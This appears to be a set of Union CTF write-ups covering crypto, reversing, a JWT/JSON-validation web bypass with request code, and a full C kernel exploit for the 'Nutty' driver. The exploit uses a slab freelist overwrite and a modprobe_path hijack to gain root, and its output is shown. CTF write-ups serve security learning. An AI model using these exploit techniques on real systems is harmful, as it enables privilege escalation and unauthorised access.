All pages
Powered by GitBook
1 of 8

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Union CTF

Mordell Primes

Primes are generated by weird ECC thing, but it's over the field of QQ, meaning that p and q increase a lot as k increases. It is therefore just feasible to bruteforce k to find p and q

Neo-classical

The script implements a discrete log function using matrices. We solve this by doing some stuff with the Jordan form of the matrices by using this stackexchange post https://crypto.stackexchange.com/questions/3840/a-discrete-log-like-problem-with-matrices-given-ak-x-find-k and yada yada yada oh hey whats this http://ctftime.org/writeup/8676 anyway yoink script bam solve

Human Server

Server implements ECDSA, and allows us to send what we want to Alice and Bob. We can also control a nonce, which gets xored with the private key at the end. The server only does one check, and that is that the private keys match at the end of the transfer. We can send the generator point to both Alice and Bob, as we know what the generator multiplied by their private keys are, and then we create a pair of nonces so that they xor to give the same private key. We then just decrypt the flag by using AliceX ^ BobNonce as the shared secret

Cr0wn Air

There are two vulns here. A bypass to the JSON validation, and a JWT signing vulnerability. The first part is pretty simple. The app uses '"jwt-simple": "0.5.2"', which has a vulnerability allowing us to bypass the pattern validation, allowing us to gain a JWT token for a 'low privilege' user. r = requests.post(url + "checkin", json={"firstName": "a", "lastName": "b", "passport": "123456789", "ffp": "CA12345678", "extras": {"sssr" : {"sssr": "FQTU"}, "constructor": {"name":"Array"}} }) The JWT library is vulnerable to being signed as HMAC with the public key, a common vuln. However, we have no pubkey. I was stuck for ages, until I spotted (thanks Makelaris) https://blog.silentsignal.eu/2021/02/08/abusing-jwt-public-keys-without-the-public-key/ This provided a Docker image where I could simply provide two JWT's, modify the payload in the program and run it. It pulled out the paramaters, and generated 4 potential public keys, signing my data with each. Using this:

We get the flag:

union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}`

jwts = ["eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiAiZ29sZCIsICJmZnAiOiAiQ0ExMjM0NTY3OCJ9.6ZtpFu7jGB-EM7A2L00u3iAo8qtBKHDUzVcg-Aop5Y", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiAiZ29sZCIsICJmZnAiOiAiQ0ExMjM0NTY3OCJ9.eVHOVf5VHN8Qjxs0da8OtqtGmbRJ7Rs4BV7EL-fknMs", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiAiZ29sZCIsICJmZnAiOiAiQ0ExMjM0NTY3OCJ9.yncoTDoKFPcSA90PBqPayLUnDhoBEIQay4A6p0tD8z8", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdGF0dXMiOiAiZ29sZCIsICJmZnAiOiAiQ0ExMjM0NTY3OCJ9.cLVShR2bijq_NZGU4xT5wv938aaGsKW9At2TYb2-lk8"] 
for j in jwts: r = requests.post(url + "upgrades/flag", headers={"Authorization": f"Bearer {j}"}) print(r.text)

Antistatic

The binary does basically nothing in main. I had a look at __libc_gnu_init (runs before main) and noticed it read /proc/self/cmdline and does some XORing against a static value named GNU_HASH. All I had to do was reverse the XOR and I got the 'desired cmdline':

#### Flag: union{ct0rs_b3war3}

Nutty

Vulnerabilities

There are two vulnerabilities - one in create, one in append. Show and delete are perfectly safe.

Create

You may notice there are two different lengths or sizes the program takes in when creating - content_length and size. To grab your contents data, it uses the read_contents function

As you can see, it uses kmalloc to get a page from the kernel with content_length being the size, and uses copy_from_user to copy into it. Nothing vulnerable here specifically, however

The program kmallocs a new page for the nut contents, but this one's size is the size parameter. Furthermore, it memcpy's size bytes into it. The contents pointer from read_contents is from a chunk of size content_length, but size bytes are copied from it. If size is greater than content_length, that's an out of bounds read. We will use this later to leak.

Append

In the create function, the size is validated before usage. In the append function, the new size calculated is validated, however the size of the data you are appending is not. This doesn't seem consequential, but due to an error in the read_size function, it is.

The program doesn't check if the size outputted from read_size is -EOVERFLOW. Which means, if we send a size such that it is less than 0 or greater than/equal to 1024, it will return -EOVERFLOW as the size. This will be added to the original size of the nut we are appending to, giving the new size.

EOVERFLOW is 75 in the generic linux implementation. This means -75 will be added to get the new size - the new size will be smaller than the old size. Since all of the original data will be copied, and then some from our own contents, this gives oodles of overflow. More specifically - an out of bounds write. More specifically, we get 75 bytes of overflow from the original nut, and an additional -75 & 0x3ff(0x3b5, because of how memcpy_safe ANDs the difference with 0x3ff)

Leaking

If we, for example, send a content_length of 0x20 and a size of 0x60, 0x40 bytes outside of the first contents chunk will be read. I used to find a list of useful kernel structures.

In kmalloc-32, we can cause a seq_operations struct to be allocated by opening a /proc/self/stat file. Said structures are freed when we close the file. What we'll want is for the allocation is to have a seq_operations struct right after it. We can achive this by allocating 20 structs(for good measure) and freeing every other one.

We don't actually need this, but for good measure, the kernel heap can also be leaked. msg_msg structures are very easy to allocate, free and control the size of, making them invaluable for heap spraying. They can be any size from 0x31(controlled by message length) - I decided to target kmalloc-92. For this, a message length of 48 is needed.

We can run msgget, store the qid, and then msgsnd to allocate a msg_msg structure. The beginning of the msg_msg structure has a pointer to the previous structure, so we'll need 2 with a free chunk inbetween.

Now for the final part - gaining the write.

Exploiting the Overflow

Dumping the kmalloc-92 slab, we see the freelist pointers are in a normal order, and are not hardened. Its a singly linked list too, meaning with the overflow we can overwrite a pointer to force kmalloc to return a chunk wherever we want.

I spammed a few chunks to get rid of any possible free chunks in between other chunks. Then, I used pattern.py to generate a pattern which I dumped into the contents before appending. By appending to a chunk which is 0x60 + 75 in length, we get overflow on a chunk which is in kmalloc-92. When we allocate again with both sizes 0x60...

When trying to grab the next pointer, it will reach a fault, attempting to access controlled pointer + 0x60. When the fault happens, we can subtract 0x60 and use pattern.py to find that the offset until the controlled pointer is 357.

Exploit path:

Now... we have a leak of the kernel base, so where to write?

The easiest place to write to is a symbol in the kernel called modprobe_path. When the kernel tries to resolve how to run a file with an unknown header, it will call the modprobe binary. The path of the modprobe binary is stored in modprobe_path. And, best of all, it'll be run as root.

\xff\xff\xff\xff is pretty much guaranteed to be an unknown header. If we try to run a file consisting of this, the kernel will run modprobe as root. If we've overwritten modprobe_path with the path to a bash script which has some malicious commands.

I copied my modprobe_hax function from fizzbuzz's hashbrown writeup() and changed the commands to fit.

/home/user/w will copy the flag to the root directory and make it accessable to all users. All that is needed now is to set modprobe_path to /home/user/w.

After doing this, we can extract the flag.

Exploit

Flag: union{nutty_rarfs_pwning_kernelz}

this
https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
static char* read_contents(req* arg){ 
    char* to_read = (char*) arg->contents;
    int content_length = arg->content_length;
    if (content_length <= 0){
        printk(KERN_INFO "bad content length");
        return 0;
    }
    char* res = kmalloc(content_length, GFP_KERNEL);
    copy_from_user(res, to_read, content_length);
    return res;
}
    nuts[i].size = size;
    nuts[i].contents = kmalloc(size, GFP_KERNEL);
    if (contents != 0){
        memcpy_safe(nuts[i].contents, contents, size);
        kfree(contents);
    }
static int read_size(req* arg){
    int size = arg->size;
    if (size < 0 || size >= 1024){
        printk(KERN_INFO "invalid size");
        return -EOVERFLOW;
    }
    return size;
}
int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);
int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
struct {
  long mtype;
  char mtext[0x30];
} msgbuf;
Contents allocated on slab, filled with our data. Controlled pointer at top of freelist
Nut contents allocated at controlled pointer, allocator tries to grab the next pointer for the freelist
Set contents + 357 to the address we want to overwrite at
Create a nut with the contents being the data we wish to write
void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}
~ $ ./exploit
./exploit
[*] Kernel base: 0xffffffffb8000000
[*] Kheap leak: 0xffffa07641c7ac60
0xffffffffb944cd40
/home/user/roooot: line 1: ����: not found
~ $ cat /flag.txt
cat /flag.txt
union{nutty_rarfs_pwning_kernelz}
#include <fcntl.h>      /* open */
#include <unistd.h>     /* exit */
#include <sys/ioctl.h>  /* ioctl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <linux/ioctl.h>
#include <linux/tty.h>
#include <sys/syscall.h>
#include <assert.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
// Debugged locally with KASLR off
// Kbase - 0xffffffff81000000
// Module base - 0xffffffffc0000000
typedef unsigned long u64;
#define DEVICE_FILE_NAME "/dev/nutty"
unsigned long seq_operations_start = 0x1fa9e0;
unsigned long modprobe_path = 0x144cd40;
unsigned long arb_write = 0xe4605; // mov QWORD PTR[rdx], rsi ; ret
int fd;
struct nut {
    u64 size;
    char* contents;
};

typedef struct req {
    int idx;
    int size;
    char* contents;
    int content_length;
    char* show_buffer;
} req;

struct {
  long mtype;
  char mtext[0x30];
} msgbuf;
int create(int size, char* contents, int content_length){
    req args;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13371,&args);
}
int delete(int idx){
    req args;
    args.idx = idx;
    return ioctl(fd,0x13372,&args);
}
int show(int idx, char* show_buffer){
    req args;
    args.idx = idx;
    args.show_buffer = show_buffer;
    return ioctl(fd,0x13373,&args);
}
int append(int idx, int size, char* contents, int content_length){
    req args;
    args.idx = idx;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13374,&args);
}
void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    char filename[65];
    memset(filename, 0, sizeof(filename));
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}
int main(){
    fd = open(DEVICE_FILE_NAME,0);
    if (fd < 0){
        puts("Device file not found.");
        exit(0);
    }
    int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
    // Returns -EOVERFLOW if size is incorrect. -EOVERFLOW 75
    create(0x60,contents,0x60); // 2
    create(0x60,contents,0x60); // 3
    create(0x60,contents,0x60); // 4
    *(long *)(contents + 357) = kbase + modprobe_path;
    strcpy(contents,"exploit"); // make it identifiable so I can find it when debugging
    create(0x60 + 75,contents,0x60 + 75); // 5
    append(5,2048,contents,2048); // Break into kmalloc-96, overflow freelist pointer to modprobe_path
    create(0x60,"/home/user/w",0x60); // Overwrite modprobe
    printf("modprobe_path: %p\n",kbase + modprobe_path);
    modprobe_hax();
}

Why is a raven

The script implements the SIDH key exchange scheme. If we look into more detail, it gives us a bit more information: ϕ_A(P_A).xy(), ϕ_A(Q_A).xy() the kernel of ϕ_A is P_A + Q_A k_A, and so ϕ_A(P_A) + k_A ϕ_A(Q_A) = 0 this means we can solve for k_A, and since the order of the subgroup is 2^216, discrete log is easy to do

sage go brrr or something i need to study this more